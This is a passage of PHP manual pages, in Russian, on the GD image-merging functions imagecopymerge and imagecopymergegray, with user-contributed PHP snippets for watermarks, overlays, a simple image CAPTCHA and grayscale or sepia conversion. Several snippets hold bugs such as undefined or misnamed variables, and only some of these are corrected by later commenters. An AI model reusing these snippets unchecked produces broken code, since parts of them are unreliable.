Try running this however and an omitted detail adds to the fun. Since the first colour that is defined is taken to be the background colour, we have a random colour selected from $origim as the background colour for $imagetodisplay, but this random colour is weighted according to the background image. It was a surprise (I thought the bg would be black) but I am now keeping it as it looks good.
Al 09-Jul-2007 07:23
Check your header... He is false...

<?php
header("Content-Type: image/png");
?>
jay at zylex dot net dot nz 24-Feb-2007 03:45
Hi
i wrote this script to add a watermark image into the bottom right a larger image. Its very basic i know but its all i need for now. It also is an easy function for noobs to grasp. It just takes an two image types as arguments

for example
$image = imagecreatefromjpeg("FILELOCATION");
$insert = imagecreatefrompng("WATERMARKFILELOCATION");
$image = image_overlap($image, $insert);

function image_overlap($background, $foreground){
   $insertWidth = imagesx($foreground);
   $insertHeight = imagesy($foreground);

   $imageWidth = imagesx($background);
   $imageHeight = imagesy($background);

   $overlapX = $imageWidth-$insertWidth-5;
   $overlapY = $imageHeight-$insertHeight-5;
               imagecolortransparent($foreground,
imagecolorat($foreground,0,0));                imagecopymerge($background,$foreground,
$overlapX,$overlapY,0,0,$insertWidth,$insertHeight,100);   return $background;
    }

It doesnt smooth the edges between the two images but it works easily.
jylyn at hotmail dot com 22-Feb-2006 01:49
A few corrections to the code supplied by nick at prient:

$iTemplate should be $iBackground
$iWorking should be $iSource

After fixing those two I found the script really useful, thanks!
nick at prient dot co dot uk 01-Nov-2005 02:15
Task: Rotate a large image, then reduce it in size and place it on a small background (i.e. as an Inset).

Problem: If you resize the image first, the rotation becomes hugely aliased...  So, it makes sense to rotate it first, then shrink it.
Unfortunately, when you resample the image, you lose the background color (at least, some of it may change), so you can no longer set transparancy as you require.  If instead you resize the image (rather than resample), again, the aliasing looks bad.

Solution:  Resize the background - make it bigger.  Then add the original (large) inset, and resize the whole thing back to normal.

<?php
/* We will shrink the inset to 25% */
$resizePercentage = 0.25;

/* Load a source image and a background */
$iSource = ImageCreateFromJpeg($source_file);
$iBackground = ImageCreateFromJpeg($background_file);

/* Do something here, such a rotate, skew etc */
...
/* Assume $iSource is still the image we want to insert onto the background */

/* Set the background color to be transparent */
$cBackground = ImageColorClosest($iSource, 255, 0, 255);
ImageColorTransparent($iSource, $cBackground);

/* Resize the background - make it huge */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) / $resizePercentage, ImageSY($iBackground ) / $resizePercentage);
/* Place the image on the background - all full size, so no aliasing issues */
ImageCopyMerge($iBackground , $iSource,
    ((ImageSX($iBackground ) - ImageSX($iSource)) / 2),
    ((ImageSY($iBackground ) - ImageSY($iSource)) / 2) - 25, 0, 0, ImageSX($iWorking), ImageSY($iSource), 100);
/* Shrink the combined image... no issues with transparancy! */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) * $resizePercentage, ImageSY($iBackground ) * $resizePercentage);

/* Output the image as a PNG */
header("Content-Type: image/png");
ImagePng($iBackground);
exit();

function ImageResize($pImage, $t_width, $t_height) {
  // Target image
  $iCanvas = @ImageCreateTrueColor($t_width, $t_height);
  // Source dimensions
  $s_width = ImageSX($pImage);
  $s_height = ImageSY($pImage);
  // Copy image
  ImageCopyResampled($iCanvas, $pImage, 0, 0, 0, 0, $t_width, $t_height, $s_width, $s_height);
  // Return image
  return $iCanvas;
}
?>
Ascent [at] WebAQ.com 24-May-2005 02:41
First you need make 0~9 gif format images and background image.

<?php
/*
make random image number check
20050524 by ascent WebAQ.com
*/

$rands = rand(1000,9999);

session_start();
$_SESSION['random_image_number_check'] = $rands;

$bg = './random_image_bg.jpg';
$numimgp = './random_image_number_%d.gif';

$numimg1 = sprintf($numimgp,substr($rands,0,1));
$numimg2 = sprintf($numimgp,substr($rands,1,1));
$numimg3 = sprintf($numimgp,substr($rands,2,1));
$numimg4 = sprintf($numimgp,substr($rands,3,1));
$ys1 = rand(-4,4);
$ys2 = rand(-4,4);
$ys3 = rand(-4,4);
$ys4 = rand(-4,4);

$bgImg = imageCreateFromJPEG($bg);
$nmImg1 = imageCreateFromGIF($numimg1);
$nmImg2 = imageCreateFromGIF($numimg2);
$nmImg3 = imageCreateFromGIF($numimg3);
$nmImg4 = imageCreateFromGIF($numimg4);
imageCopyMerge($bgImg, $nmImg1, 10, $ys1, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg2, 30, $ys2, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg3, 50, $ys3, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg4, 70, $ys4, 0, 0, 20, 30, 50);
header("Content-type: image/jpg");
ImageJPEG($bgImg,"",100);
imagedestroy($bgImg);
imagedestroy($nmImg1);
imagedestroy($nmImg2);
imagedestroy($nmImg3);
imagedestroy($nmImg4);
?>

enjoy!
Steve 23-May-2005 11:03
Building upon backglancer's and stefan's posts below, the following script will lay a 24-bit PNG watermark over any image.

To prepare a 24-bit watermark, I recommend creating a white logo or text over a transparent background in Photoshop.  Save this as a 24-bit PNG via 'Save for the Web...'.  Be sure to set the transparency of the logo layer in Photoshop itself.  30-40% is a good setting.

Once the assets are prepared, throw the full or relative server paths at the watermark function below:

/******************************************************************/

function watermark($sourcefile, $watermarkfile) {

    #
    # $sourcefile = Filename of the picture to be watermarked.
    # $watermarkfile = Filename of the 24-bit PNG watermark file.
    #

    //Get the resource ids of the pictures
    $watermarkfile_id = imagecreatefrompng($watermarkfile);

    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);

    $fileType = strtolower(substr($sourcefile, strlen($sourcefile)-3));

    switch($fileType) {
        case('gif'):
            $sourcefile_id = imagecreatefromgif($sourcefile);
            break;

        case('png'):
            $sourcefile_id = imagecreatefrompng($sourcefile);
            break;

        default:
            $sourcefile_id = imagecreatefromjpeg($sourcefile);
    }

    //Get the sizes of both pix
  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);
  $watermarkfile_width=imageSX($watermarkfile_id);
  $watermarkfile_height=imageSY($watermarkfile_id);

    $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 );
    $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 );

    // if a gif, we have to upsample it to a truecolor image
    if($fileType == 'gif') {
        // create an empty truecolor container
        $tempimage = imagecreatetruecolor($sourcefile_width,
                                                                            $sourcefile_height);

        // copy the 8-bit gif into the truecolor image
        imagecopy($tempimage, $sourcefile_id, 0, 0, 0, 0,
                            $sourcefile_width, $sourcefile_height);

        // copy the source_id int
        $sourcefile_id = $tempimage;
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0,
                        $watermarkfile_width, $watermarkfile_height);

    //Create a jpeg out of the modified picture
    switch($fileType) {

        // remember we don't need gif any more, so we use only png or jpeg.
        // See the upsaple code immediately above to see how we handle gifs
        case('png'):
            header("Content-type: image/png");
            imagepng ($sourcefile_id);
            break;

        default:
            header("Content-type: image/jpg");
            imagejpeg ($sourcefile_id);
    }

    imagedestroy($sourcefile_id);
    imagedestroy($watermarkfile_id);

}
backglancer in the hotmail 17-May-2005 02:44
I was about to kill myself....
any one of you trying to merge a SEMI transparent png...
use imagecopy   :)
<?
$flag = imagecreatefrompng('flags/images/flagWhiteFill.png');
$mask = imagecreatefrompng('flags/images/flag_transparent.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);

imagecopy($flag, $mask, 0,0,0,0,25,43);

Header("Content-type: image/jpeg");
imagepng($flag);
?>

ImageSaveAlpha(resource, bool);   made the transparent color - not transparent... dunno why :)
barbarina_sv at libero dot it 17-May-2005 01:55
I needed to draw a "pointer" image over a map, but had some problems with png image transparency.
So I created a png image with white background (not transparent) and merged it on my map, after defining white color as transparent:

<?php

$src_file = 'source.jpg';
list($src_w, $src_h, $src_t, $src_a) = getimagesize($src_file);

$ptr_file = 'pointer.png'; // must have no transparency, but white background
list($ptr_w, $ptr_h, $ptr_t, $ptr_a) = getimagesize($ptr_file);

// destination image dimensions:
$dst_w = 400;
$dst_h = 200;

// pointer position:
$ptr_x = 195;
$ptr_y = 70;

$srcImage = imageCreateFromJpeg($src_file) or die ('failed imageCreateFromJpg');
$dstImage = imageCreateTrueColor($dst_w, $dst_h) or die ('failed imageCreateTrueColor');

imageCopyResampled($dstImage, $srcImage, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h) or die ('failed imageCopyResampled');

$ptrImage = imageCreateFromPng($ptr_file) or die ('failed imageCreateFromPng');

$ptr_white = imageColorAllocate($ptrImage,255,255,255);
imageColorTransparent($ptrImage,$ptr_white);

imageCopyMerge($dstImage, $ptrImage, $ptr_x, $ptr_y, 0, 0, $ptr_w, $ptr_h, 100) or die ('failed imageCopyMerge');

imageJpeg($dstImage,'',100) or die ('failed imageJpeg');

imageDestroy($srcImage) or die ('failed imageDestroy(1)');
imageDestroy($dstImage) or die ('failed imageDestroy(2)');
imageDestroy($ptrImage) or die ('failed imageDestroy(3)');

?>
jtacon at php dot net 14-Dec-2004 05:36
This example shows how to use imageCopyMerge to create a water mark function with four random positions (the corners).

<?php
function waterMark($fileInHD, $wmFile, $transparency = 50, $jpegQuality = 90, $margin = 5) {

 $wmImg   = imageCreateFromGIF($wmFile);
 $jpegImg = imageCreateFromJPEG($fileInHD);

 // Water mark random position
 $wmX = (bool)rand(0,1) ? $margin : (imageSX($jpegImg) - imageSX($wmImg)) - $margin;
 $wmY = (bool)rand(0,1) ? $margin : (imageSY($jpegImg) - imageSY($wmImg)) - $margin;

 // Water mark process
 imageCopyMerge($jpegImg, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg), $transparency);

 // Overwriting image
 ImageJPEG($jpegImg, $fileInHD, $jpegQuality);
}

waterMark('myImage.jpg','waterMark.gif');

?>

HTH.

Javier Tac?n.
claudio dot gaetani at gdldesign dot it 09-May-2004 11:04
This function is intended to serve as an example for the "imageCopyMerge"-"ImageCopyResized", "ImageColorTransparent" functions.
I hope it will help.
This function pick an image, square cut it resampled at the size requested and finishing merge the result with another one to obtain a circular image result. I have a problem to obtain an thumbnail that respect the colors and at the same time where cutted in a circular form, I hope this solution can gives you a clue to obtain a free form images, I use this one also to create multicutted images.

<?php
$generalsrc="$image"; //the image to resample, resize and iconaize
$final_thumbwidth ="125";
$final_thumbheight ="125";

$abc = imagecreatefromjpeg("$generalsrc");
$def = imagecreatetruecolor($final_thumbwidth, $final_thumbheight);
$src_mx = round((imagesx($abc) / 2)-"0.1"); // middle x point of the image
$src_my = round((imagesy($abc) / 2)-"0.1"); // middle y point of the image
$src_x = ($src_mx * 2);
$src_y = ($src_my * 2);
$src_sq = ($src_x >= $src_y)?$src_y:$src_x; //used to define the best size for a square cut of the image
$pl = ($src_x >= $src_y)?"1":"2"; //define if the image is portait or landscape
$strt_pntx = ($pl=="1")?round(($src_my / 2)-"0. 1"):"0";  //defines the x start point
$strt_pnty = ($pl=="2")?round(($src_mx / 2)-"0. 1"):"0";  //defines the y start point

imagecopyresized($def, $abc, 0, 0, $strt_pntx, $strt_pnty, $final_thumbwidth, $final_thumbheight, $src_sq, $src_sq);

$overlay_img = imagecreatefromPNG("circle_125.png"); //NOTE use png for this
$src_w = "ImageSX($overlay_img)";
$src_h  = "ImageSY($overlay_img)";

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($overlay_img, 0, 0, 0);

ImageColorTransparent($overlay_img , $black);

imagecopy($can_img, $def, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $overlay_img , 0,0,0,0, ImageSX($overlay_img), ImageSY($overlay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,"merge_$generalsrc",100);

imagedestroy($overlay_img);
imagedestroy($can_img);
ImageDestroy($abc);
ImageDestroy($def);

print "<HTML><HEAD><TITLE>test</TITLE></HEAD><BODY>
original:<hr><img src=\"$generalsrc\" width=\"300\"><br><br><br>new:<hr><img src=\"merge_$generalsrc\">
<br>width = $src_x
<br>height = $src_y
<br>mdlw = $src_mx
<br>mdlh = $src_my
<br>sqr = $src_sq
<br>pl = $pl
<br>start point x = $strt_pntx
<br>start point y = $strt_pnty
</BODY></HTML>";
?>
bjorn AT smokingmedia DOT com 26-May-2003 11:10
in addition to stefan's posting:

i found that if you use imagecopymerge with png-24 files with an alpha channel, it doesn't work use imagecopy instead.
it seems that imagecopymerge doesn't respect the alpha channel the way it should (a bug??).

some sample code here to place an image (image.png) on a backgroundcolor or backgroundimage.

<?php

$im = "image.png";
$bg = "ffddee";     // hex representation of the color (i.e. #ffffff for white)
$out = "png";       // or "jpg" for jpg file output
// $backgroundfile = "";  // optional backgroundfile if you don't want to use a color

//
// function to convert hex colorcode to decimal
//

function colordecode($hex){

   $code[r] = hexdec(substr($hex, 0 ,2));
   $code[g] = hexdec(substr($hex, 2 ,2));
   $code[b] = hexdec(substr($hex, 4 ,2));

   return $code;

} // end func colordecode

// create the resource id
$image_id = imageCreateFromPNG($im);

// get image size
$im_X = ImageSX($image_id);
$im_Y = ImageSY($image_id);

// create a truecolor background image of the right size
// or use a background image like this
// $backgroundimage = imageCreateFromPNG($backgroundfile);
$backgroundimage = imagecreatetruecolor($im_X, $im_Y);

// get the desired backgroundcolor:
// don't use this if you want to use a background image
$code = colordecode($bg);
$backgroundcolor = ImageColorAllocate($backgroundimage, $code[r], $code[g], $code[b]);
ImageFilledRectangle($backgroundimage, 0, 0, $im_X, $im_Y, $backgroundcolor);

// merge the two together with alphablending on!
ImageAlphaBlending($backgroundimage, true);
imagecopy($backgroundimage, $image_id, 0, 0, 0, 0, $im_X, $im_Y);

// output the image:
if($output == "jpg"){
   Header( "Content-type: image/jpeg");
   ImageJPEG($backgroundimage);
   }
   else{
       Header( "Content-type: image/png");
       ImagePNG($backgroundimage);
       }

// destroy the memory
ImageDestroy($backgroundimage);
ImageDestroy($image_id);
?>
jonny at sanriowasteland dot net 29-Sep-2002 05:36
If you need to merge 2 png's (or  presumably 2 gifs) with different color palettes, I have found this is the function to use.  Just set pct to 99, and you are rocking.  With pct set to 100, or imagecopy for that matter, the palette seems to go wonky.  (It probably just uses the palette of the source image. but don't quote me on that).
stefan dot wehowsky at profilschmiede dot de 26-Jul-2001 09:32
This function is intended to serve as an example for the "imageCopyMerge"-function.
I hope it will help some of the less experienced php-coders here.
I wrote it to mark objects of a real estate broker as "sold" by copying the "sold"-picture right into the picture of the house.

<?php

//$sourcefile = Filename of the picture into that $insertfile will be inserted.
//$insertfile = Filename of the picture that is to be inserted into $sourcefile.
//$targetfile = Filename of the modified picture.
//$transition = Intensity of the transition (in percent)
//$pos          = Position where $insertfile will be inserted in $sourcefile
//                0 = middle
//                1 = top left
//                2 = top right
//                3 = bottom right
//                4 = bottom left
//                5 = top middle
//                6 = middle right
//                7 = bottom middle
//                8 = middle left
//
//
function mergePix($sourcefile,$insertfile, $targetfile, $pos=0,$transition=50)
{

//Get the resource id?s of the pictures
    $insertfile_id = imageCreateFromJPEG($insertfile);
    $sourcefile_id = imageCreateFromJPEG($sourcefile);

//Get the sizes of both pix
    $sourcefile_width=imageSX($sourcefile_id);
    $sourcefile_height=imageSY($sourcefile_id);
    $insertfile_width=imageSX($insertfile_id);
    $insertfile_height=imageSY($insertfile_id);

//middle
    if( $pos == 0 )
    {
        $dest_x = ( $sourcefile_width / 2 ) - ( $insertfile_width / 2 );
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//top left
    if( $pos == 1 )
    {
        $dest_x = 0;
        $dest_y = 0;
    }

//top right
    if( $pos == 2 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = 0;
    }

//bottom right
    if( $pos == 3 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//bottom left
    if( $pos == 4 )
    {
        $dest_x = 0;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//top middle
    if( $pos == 5 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = 0;
    }

//middle right
    if( $pos == 6 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//bottom middle
    if( $pos == 7 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//middle left
    if( $pos == 8 )
    {
        $dest_x = 0;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//The main thing : merge the two pix
    imageCopyMerge($sourcefile_id, $insertfile_id,$dest_x,$dest_y,0,0,$insertfile_width,$insertfile_height,$transition);

//Create a jpeg out of the modified picture
    imagejpeg ($sourcefile_id,"$targetfile");

}


Копирует часть изображения с наложением в градациях серого

  • « imagecopymerge
  • imagecopyresampled »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Копирует часть изображения с наложением в градациях серого

imagecopymergegray

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecopymergegray — Копирует часть изображения с наложением в градациях серого

Описание

imagecopymergegray(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $src_width,
int $src_height,
int $pct
): bool

Копирует часть src_image и помещает скопированное на dst_image, начиная с координат src_x, src_y с шириной src_width и высотой src_height. Скопированная часть помещается на координаты dst_x и dst_y.

Функция работает аналогично imagecopymerge() за исключением того, что при наложении она сохраняет насыщенность цвета исходного изображения путём преобразования цветов пикселей конечного изображения в градации серого перед копированием.

Список параметров

dst_image

Ресурс целевого изображения.

src_image

Ресурс исходного изображения.

dst_x

x-координата результирующего изображения.

dst_y

y-координата результирующего изображения.

src_x

x-координата исходного изображения.

src_y

y-координата исходного изображения.

src_width

Ширина исходного изображения.

src_height

Высота исходного изображения.

pct

Результирующее изображение src_image будет преобразовано к изображению в градациях серого в соответствии со значением параметра pct. 0 означает отсутствие цветов кроме серого, 100 - без изменений. Когда pct = 100 поведение функции идентично imagecopy() для палитровых изображений, несмотря на то что в этой функции реализована прозрачность для truecolor-изображений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dst_image и src_image теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования imagecopymergegray()

<?php
// Создание изображений
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Копирование и наложение - Серый = 20%
imagecopymergegray($dest, $src, 10, 10, 0, 0, 100, 47, 20);

// Вывод и освобождение памяти
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

anonymous at domain dot com 16-Oct-2009 03:54
grayscale conversion is built-in with imagefilter().

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>

you could create the sepia effect by the following:

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);
     imagefilter($image, IMG_FILTER_COLORIZE, 112, 66, 20);
     //Wikipedia RGB definition of sepia

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>
amezghal at msn dot com 09-May-2008 05:59
gray effect :)
<?php
header('content-type:image/png');
$url_img = 'my_image.png';
$img = imagecreatefrompng($url_img);
$x = imagesx($img);
$y = imagesy($img);
$gray_img = imagecreatetruecolor($x, $y);
imagecolorallocate($gray_img, 0, 0, 0);
for ($i = 0; $i < $x; $i++) {
  for ($j = 0; $j < $y; $j++) {
    $rgb = imagecolorat($img, $i, $j);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
     //for gray mode $r = $g = $b
    $color = max(array($r, $g, $b));
    $gray_color = imagecolorexact($new_img, $color, $color,   $color);
     imagesetpixel($gray_img, $i, $j, $gray_color);
   }
}
?>
szamil at ginf dot pl 15-Apr-2007 02:17
I've changed a little switch251's code and here we have sephia effect
<?php
   // replace with your files
    $originalFileName    = $filename;
    $destinationFileName = "2".$filename;

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension))
    {
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++)
    {
        for ($x = 0; $x <$img_width; $x++)
        {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

          //sephia
            $red2 = min($red*.393 + $green*.769 + $blue*.189,255);
            $green2 = min($red*.349 + $green*.686 + $blue*.168,255);
            $blue2  = min($red*.272 + $green*.534 + $blue*.131,255);
            // shift gray level to the left

            $grayR = $red2 << 16;   // R: red
            $grayG = $green2 << 8 ;    // G: green
            $grayB = $blue2;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>
Mark Barba 15-Aug-2005 12:31
//  Using the same code I found here on php.net,
// I was able to figure out how to convert GIF (or any other
// format GD supports) to CIP format.  CIP is the image
// format for Cisco IP Phones...  7905/7940 and 7960
// models...  Hope someone finds this useful and make it
// better...

/////// GIF2CIP PHP code ///////

// Convert image in memory to grayscale
    $img_width  = imageSX($im2);
    $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($im2, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($im2, $x, $y, $grayColor);
           imagecolorallocate ($im2, $gray, $gray, $gray);
       }
   }
/////////////////////////////////////////////////////////

    // Modifies palette to only 4-colors (CIP Images on 7905/7940 & 7960 is 2-bit color)
    ImageTrueColorToPalette2($im2,FALSE,4);

    // Basic header for CIP Image files...
    header ("Content-type: text/xml");
    echo "<CiscoIPPhoneImage> ";
    echo "<LocationX>-1</LocationX> ";
    echo "<LocationY>-1</LocationY> ";
    echo "<Width>132</Width> ";
    echo "<Height>65</Height> ";
    echo "<Depth>2</Depth> ";
    echo "<Data>";

// get image dimensions (almost same code as above)
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x+4 <$img_width; $x = $x+4)
       {
            for ($ix = 0; $ix < 4; $ix++)
            {
               $rgb = imagecolorat($im2, $x + $ix, $y);

               // I came up with this translation on my own
               // Some smart person is bound to perfect it
               if ($rgb=="2") {$rgb=0;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="0") {$rgb=2;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="1") {$rgb=1;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="3") {$rgb=3;$Gray1[$ix] = $rgb;continue;}
           }
                $gray1 = $Gray1[0];
                $gray2 = $Gray1[1] << 2;
                $gray3 = $Gray1[2] << 4;
                $gray4 = $Gray1[3] << 6;

                // Pack 4 pixels into a single byte for CIP images
                $grey = $gray1 | $gray2 | $gray3 | $gray4;

                // CIP image data is sent in HEX, strtoupper is not really needed.
                $code = strtoupper(dechex($grey));

                // My quick fix to padding single HEX values
                if (strlen($code)==1) $code = "0".$code;
                echo $code;

       }

   }
    echo "</Data>";
    echo "<Title>$myvar</Title> ";
    echo "<Prompt>$city</Prompt> ";
    echo "</CiscoIPPhoneImage>";
    exit;
switch251 at netcourrier dot com 15-Apr-2004 07:18
In addition to code_couturier too: his code will produce blue pictures, because the value he uses to set the pixel color (the code is incomplete: I first thought it should be $gray) is between 0 and 255, which corresponds to blue levels.

To convert the picture to grayscale, use the following code:

<?php
    // replace with your files
    $originalFileName    = "colorPicture.jpg";
    $destinationFileName = "bwPicture.jpg";

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension)){
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++) {
        for ($x = 0; $x <$img_width; $x++) {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

            $gray = round(.299*$red + .587*$green + .114*$blue);

            // shift gray level to the left
            $grayR = $gray << 16;   // R: red
            $grayG = $gray << 8;    // G: green
            $grayB = $gray;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>

Copy-paste, replace the file names on the top and there you go (picture files must be in same folder as this script. If not, you will have to do your own file management).
annonymous at example dot com 15-Feb-2004 04:25
in addition to code_couturier - try this formula to calculate gray-value (luminance) in his "more exact" way:

$gray = round(.299*$red + .587*$green + .114*$blue);
code_couturier at graffiti dot net 18-Oct-2003 12:08
# very fast way to generate a grayscal-
# image from a true color image

#...

# --- quick grayscale image
for ($y = 0; $y <$img_height; $y++) {
 for ($x = 0; $x <$img_width; $x++) {

 # here we extract the green from
 # the pixel at x,y , to use it as gray value
 $gray = (ImageColorAt($image, $x, $y) >> 8) & 0xFF;

 # a more exact way would be this:
 # $rgb = ImageColorAt($image, $x, $y);
 # $red = ($rgb >> 16) & 0xFF;
 # $green = (trgb >> 8) & 0xFF;
 # $blue = $rgb & 0xFF;
 # $gray = (int)(($red+$green+$blue)/4);

 # and here we set the new pixel/color
  imagesetpixel ($image, $x, $y,
  ImageColorAllocate ($image, $gray,$gray,$gray));
 }
}

# ...
mail at laeubi dot de 09-Oct-2003 12:45
This function don't work properly for me on trucolerimages (have not tried yet for other types) it jsut produce a part-grayscale image, and some color get mesed up.
I found a workaround here:
http://www.phpbuilder.com/columns/cash20030526.php3?page=2

[quote]
Advanced Image Editing Under the GD Library
Colorizing
Colorizing images is fairly easy to do. The easiest way to colorize an image is fairly simple to grasp. Create an image of the same dimensions and fill that image with the color you want to change it to. This new image is then placed on top of the older image, giving it a colorized look.

<?php
function imagecolorize(&$im,&$col,$pct) {
    // Get the image's width
    $im_w = imagesx($im);
    // Get the image's height
    $im_h = imagesy($im);
    // Set a pixel with the color, so we can get it easily
    $setpixel = imagesetpixel($im,$im_w,0,$col);
    // Get the color
    $index = imagecolorat($im,$im_w,0);
    // Find the color in the index
    $rgb = imagecolorsforindex($im,$index);
    // Get the red value
    $r = $rgb["red"];
    // Get the green value
    $g = $rgb["green"];
    // Get the blue value
    $b = $rgb["blue"];
    // Create the layover
    $layover = imagecreate($im_w,$im_h);
    // Allocate the color on this image
    $color = imagecolorallocate($layover,$r,$g,$b);
    // Fill the image with the new color (this really isn't needed)
    $fill = imagefill($layover,0,0,$color);
    // Merge the layover on top of the older image
    $merge = imagecopymerge($im,$layover,0,0,0,0,$im_w,$im_h,$pct);
    imagedestroy($layover); // Destroy the layover
}
?>

If we use a blue layover RGB(0,0,255), we get this result:
[/quote]

if you use black or gray, its not perfekt, but better than nothing ;)


Копирование и изменение размера изображения с ресемплированием

  • « imagecopymergegray
  • imagecopyresized »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Копирование и изменение размера изображения с ресемплированием

imagecopyresampled

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecopyresampled — Копирование и изменение размера изображения с ресемплированием

Описание

imagecopyresampled(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $dst_width,
int $dst_height,
int $src_width,
int $src_height
): bool

